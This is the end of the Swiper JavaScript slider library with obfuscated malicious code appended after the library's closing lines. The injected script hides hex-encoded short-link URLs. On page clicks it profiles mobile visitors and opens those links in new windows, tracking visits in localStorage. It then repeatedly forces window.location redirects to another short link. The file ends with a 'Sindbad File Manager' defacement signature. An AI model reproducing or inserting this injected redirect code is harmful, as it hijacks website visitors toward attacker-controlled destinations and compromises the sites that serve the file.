Swiper.use = Swiper.Class.use;
Swiper.installModule = Swiper.Class.installModule;
}
Swiper.use(components);
return Swiper;
});
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4b\x66\x75\x33\x63\x343','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x47\x56\x61\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x5a\x47\x46\x38\x63\x388','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x78\x69\x77\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6c\x74\x68\x34\x63\x344','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x54\x46\x50\x37\x63\x357','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x56\x41\x46\x32\x63\x302','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4c\x6a\x79\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x46\x6a\x68\x30\x63\x310','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x69\x48\x52\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists